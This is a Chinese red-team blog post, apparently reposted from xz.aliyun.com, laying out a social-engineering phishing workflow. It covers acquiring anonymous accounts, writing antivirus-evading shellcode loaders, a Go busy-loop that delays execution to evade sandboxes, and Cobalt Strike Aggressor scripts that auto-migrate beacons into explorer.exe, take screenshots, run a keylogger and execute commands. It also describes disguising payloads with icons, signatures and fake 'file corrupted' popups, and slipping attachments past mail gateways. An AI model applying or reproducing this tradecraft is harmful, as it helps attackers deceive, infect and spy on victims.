|
抹布 红队蓝军 2023-09-27 16:31 发表于四川
前言
穷则社工钓鱼,达则0day炸场-微步在线,借用微步公众号的一句话,没有后端资源支持的情况下,社工钓鱼必学技能,毕竟正面打不动,代码审不动,0day又没有是日常,下文讲解自己对于社工钓鱼的思路。
社交账号
准备一些社交账号,如微信、QQ、脉脉、BOSS直聘、猎聘,手机号可以购买阿里小号/和多号。其中微信可以用辅助注册或者阿里小号/和多号注册,如果你有匿名的渠道购买更好。
邮箱方面,一般常用QQ邮箱、163邮箱,这些目前还是有渠道可以购买的,没钱或者担心购买不可靠,跟身边亲朋好友借也行。
免杀马
免杀的马子是必备的,如果你是和我一样的免杀弟弟,我推荐先学习shellcode loader的一些编写思路 ShellcodeLoader(https://github.com/xf555er/ShellcodeLoader)
基本加载器思路为shellcode申请内存(可读可写) -> 载入内存 -> 执行内存
申请内存:VirtualAlloc
载入内存:memcpy
执行内存:CreateThread WaitForSingleObject
针对这三个过程可以使用不同的函数来达到规避杀软的效果,例如申请内存还可以用GlobalAlloc、CoTaskMemAlloc函数,执行内存可以用回调函数EnumFontsW、EnumUILanguages、EnumFontFamiliesA。
主要还是查文档自己多动手,学完就算不会写免杀马,改改别人GitHub的马子,过国内360火绒基本没问题,然后就是研究下捆绑exe释放正常文件,搞不懂直接给马子弹个框文件已损坏,无法打开也行,不然经常出现对方问你这文件怎么打不开...
平时钓鱼的马子经常要改图标加签名之类的,推荐如下项目,在原项目360QVM_bypass的基础上,进行修改增加签名功能。360QVM_bypass-public(https://github.com/Pizz33/360QVM_bypass)
bypass沙箱
为了延长马子存活时间,基本的沙箱对抗少不了,毕竟有防守人员的话,你投递的木马基本都得沙箱走一走,以微步沙箱为例,最简单的循环打印。
使用sleep函数延迟执行容易被hook,修改为0,可以编写循环打印来延迟程序时间,来绕过沙箱检测,因为沙箱运行程序是有时间限制的。
- //循环打印进行延时 运行1m2s后执行shellcode 沙箱分析时间没那么久 可以绕过沙箱检测
- func add() {
- start := time.Now() //获取当前时间
- //1000000 1m2.793228s
- sum, i := 0, 1
- for i < 1000000 {
- fmt.Println(i)
- sum += i
- i++
- }
- elapsed := time.Since(start)
- fmt.Println("该函数执行完成耗时:", elapsed)
- }
[color=rgb(51, 102, 153) !important]复制代码
将如上代码放在shellcode执行前就行。
信息收集
思维导图如下,每个人都有自己的思路,我就简单讲解几个。
零零信安直接搜索公司名称,得到一些邮箱地址
拿邮箱后缀+关键字去微信搜一搜,Google、百度等搜索引擎也可以搜,可以获取业务招聘相关邮箱信息、手机号等。
如下组合:
@xxx.com 招聘 @xxx.com 校招 @xxx.com 投标 @xxx.com 联系方式
C2搭建准备
常用的就cs,基本的套层CDN然后c2上线端口反代下,这里我会用到cs插件脚本 PushPlus2(https://github.com/S9MF/my_scrip ... %E4%BB%B6/README.md)
常用的就是上线提醒、自动迁移进程
- #自动迁移进程
- sub callback{
- $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
- # 要迁移的进程
- $listener = "ecloud";
- # 监听器名字,此处为ecloud,记得修改为自己的
- if ($2 ismatch $regex){
- $pid = matched()[1];
- $inject_pid = $pid;
- if (-is64 $1){
- $arch = "x64";
- }
- else{
- $arch = "x86";
- }
- binject($1, $pid, $listener, $arch);
- }
- }
- if($inject_pid != beacon_info($1,"pid")){
- bps($1, &callback);
- }
[color=rgb(51, 102, 153) !important]复制代码
还有上线自动截图功能,就算目标掉了起码还有张图证明上线过
- #只截一张图
- #binput($1, "screenshot");
- #bscreenshot($1);
- #连续截图
- binput($1, "screenwatch");
- bscreenwatch($1);
[color=rgb(51, 102, 153) !important]复制代码
其他的上线自动执行shell命令、键盘记录看自己需求吧
- #执行自定义cmd命令
- bshell($1, "ipconfig /all");
- #键盘记录
- bkeylogger($1);
[color=rgb(51, 102, 153) !important]复制代码
还有其他需求可以去翻翻文档Aggressor Script(https://hstechdocs.helpsystems.c ... agressor_script.htm)
如果你有好用稳定的权限提升维持工具、如Bypass UAC、以及计划任务、服务,可以考虑下写个cs脚本上线自动bypass uac,加权限维持。
邮件网关/沙箱
默认对面有邮件网关/沙箱设备,针对邮件正文和附件要有一定处理或者技巧。
针对正文
不带知名公司名称如脉脉、BOSS直聘不然容易被当成广告邮件,不把附件解密密码放在正文,容易被沙箱识别密码分析附件。
针对附件
文件名加密,解压密码写在附件名上。
开钓
通过之前的准备,我们已经有了一些可供尝试的信息,此时需要构建话术剧本然后去钓鱼。
上线后的操作
参考L33h0m师傅的文章分享我的CS钓鱼流程导图(权限维持+信息收集+后渗透阶段)(https://www.t00ls.com/articles-69037.html)
总结
本文讲解了我对社工钓鱼的基本流程,偏向于思路,师傅们有其他思路欢迎在评论区留言,学习交流。
参考
360QVM_bypass (https://github.com/Pizz33/360QVM_bypass)
ShellcodeLoader (https://github.com/xf555er/ShellcodeLoader)
分享我的CS钓鱼流程导图(权限维持+信息收集+后渗透阶段)(https://www.t00ls.com/articles-69037.html)
文章来源于:https://xz.aliyun.com/t/12879
|
|